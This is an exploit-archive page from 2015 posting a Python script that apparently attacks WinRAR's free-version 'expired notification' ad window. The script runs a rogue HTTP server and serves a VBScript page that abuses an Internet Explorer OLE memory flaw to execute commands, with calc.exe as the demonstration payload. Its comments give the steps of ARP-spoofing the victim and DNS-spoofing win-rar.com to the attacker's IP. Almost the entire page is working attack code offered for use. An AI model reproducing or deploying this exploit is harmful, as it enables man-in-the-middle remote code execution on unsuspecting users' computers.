Home / os / winmobile

WinRAR Expired Notification Command Execution

Posted on 01 October 2015

#!/usr/bin/python -w
# Title : WinRar Expired Notification - OLE Remote Command Execution
# Date : 30/09/2015
# Author : R-73eN
# Tested on : Windows Xp SP3 with WinRAR 5.21
# This exploits a vulnerability in the implementation of showing ads.
# When a user opens any WINRAR file sometimes
# A window with Expired Notification title loads http://www.win-rar.com/notifier/
# reminding user to buy winrar to remove ads.
# Since this uses a http connection we can use Man In The Middle attack
# to gain Remote Code Execution
#
# Triggering the vulnerability
# 1) Run this python script.
# 2) arpspoof the target
# 3) dnsspoof www.win-rar.com to point to your IP
# 4) Wait for the victim to open WinRar files.
#
# Video : https://youtu.be/h976wFlHGw4
#
# i hope this time the "great security researcher" Mohammad Reza Espargham
# me[at]reza[dot]es , reza.espargham[at]gmail[dot]com doesnt steals again my exploit .....
#
# http://0day.today/exploit/description/24292 My exploit publishied in 25/09/2015
# http://0day.today/exploit/description/24296 same exploit written in perl publishied in 26/09/2015
#
#
#

banner = ""
banner +=" ___ __ ____ _ _ 
"
banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ /  | | 
"
banner +=" | || '_ | |_ / _ | | _ / _  '_  / _  | | 
"
banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ | |___ 
"
banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|

"
print banner
print " [+] WinRar (Free Version) - Remote Command Execution [+]
"
import socket

CRLF = "
"
#OLE command execution
exploit = """<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<head>
</head>
<body>

<SCRIPT LANGUAGE="VBScript">

function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "calc.exe", "runas", 0
end function
</script>

<SCRIPT LANGUAGE="VBScript">

dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim win9x
dim intVersion
dim rnda
dim funclass
dim myarray

Begin()

function Begin()
 On Error Resume Next
 info=Navigator.UserAgent

 if(instr(info,"Win64")>0) then
 exit function
 end if

 if (instr(info,"MSIE")>0) then
 intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
 else
 exit function

 end if

 win9x=0

 BeginInit()
 If Create()=True Then
 myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
 myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

 if(intVersion<4) then
 document.write("<br> IE")
 document.write(intVersion)
 runshellcode()
 else
 setnotsafemode()
 end if
 end if
end function

function BeginInit()
 Randomize()
 redim aa(5)
 redim ab(5)
 a0=13+17*rnd(6)
 a3=7+3*rnd(5)
end function

function Create()
 On Error Resume Next
 dim i
 Create=False
 For i = 0 To 400
 If Over()=True Then
 Create=True
 Exit For
 End If
 Next
end function

sub testaa()
end sub

function mydata()
 On Error Resume Next
 i=testaa
 i=null
 redim Preserve aa(a2)

 ab(0)=0
 aa(a1)=i
 ab(0)=6.36598737437801E-314

 aa(a1+2)=myarray
 ab(2)=1.74088534731324E-310
 mydata=aa(a1)
 redim Preserve aa(a0)
end function

function setnotsafemode()
 On Error Resume Next
 i=mydata()
 i=rum(i+8)
 i=rum(i+16)
 j=rum(i+&h134)
 for k=0 to &h60 step 4
 j=rum(i+&h120+k)
 if(j=14) then
 j=0
 redim Preserve aa(a2)
 aa(a1+2)(i+&h11c+k)=ab(4)
 redim Preserve aa(a0)

 j=0
 j=rum(i+&h120+k)

 Exit for
 end if

 next
 ab(2)=1.69759663316747E-313
 runmumaa()
end function

function Over()
 On Error Resume Next
 dim type1,type2,type3
 Over=False
 a0=a0+a3
 a1=a0+2
 a2=a0+&h8000000

 redim Preserve aa(a0)
 redim ab(a0)

 redim Preserve aa(a2)

 type1=1
 ab(0)=1.123456789012345678901234567890
 aa(a0)=10

 If(IsObject(aa(a1-1)) = False) Then
 if(intVersion<4) then
 mem=cint(a0+1)*16
 j=vartype(aa(a1-1))
 if((j=mem+4) or (j*8=mem+8)) then
 if(vartype(aa(a1-1))<>0) Then
 If(IsObject(aa(a1)) = False ) Then
 type1=VarType(aa(a1))
 end if
 end if
 else
 redim Preserve aa(a0)
 exit function

 end if
 else
 if(vartype(aa(a1-1))<>0) Then
 If(IsObject(aa(a1)) = False ) Then
 type1=VarType(aa(a1))
 end if
 end if
 end if
 end if

 If(type1=&h2f66) Then
 Over=True
 End If
 If(type1=&hB9AD) Then
 Over=True
 win9x=1
 End If

 redim Preserve aa(a0)

end function

function rum(add)
 On Error Resume Next
 redim Preserve aa(a2)

 ab(0)=0
 aa(a1)=add+4
 ab(0)=1.69759663316747E-313
 rum=lenb(aa(a1))

 ab(0)=0
 redim Preserve aa(a0)
end function

</script>

</body>
</html>"""

response = "HTTP/1.1 200 OK" + CRLF + "Content-Type: text/html" + CRLF + "Connection: close" + CRLF + "Server: Apache" + CRLF + "Content-Length: " + str(len(exploit)) + CRLF + CRLF + exploit + CRLF
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = raw_input(" Enter Local IP: ")
server_address = (host, 8080)
sock.bind(server_address)
print "
[+] Server started " + host + " [+]"
sock.listen(1)
print "
[+] Waiting for request . . . [+]"
print "
[+] Arpspoof target , and make win-rar.com to point to your IP [+]"
connection, client_address = sock.accept()
while True:
 connection.recv(2048)
 print "[+] Got request , sending exploit . . .[+]"
 connection.send(exploit)
 print "[+] Exploit sent , A calc should pop up . . [+]"
 print "
https://www.infogen.al/
"
 exit(0)

 

TOP

Malware :

Exploits :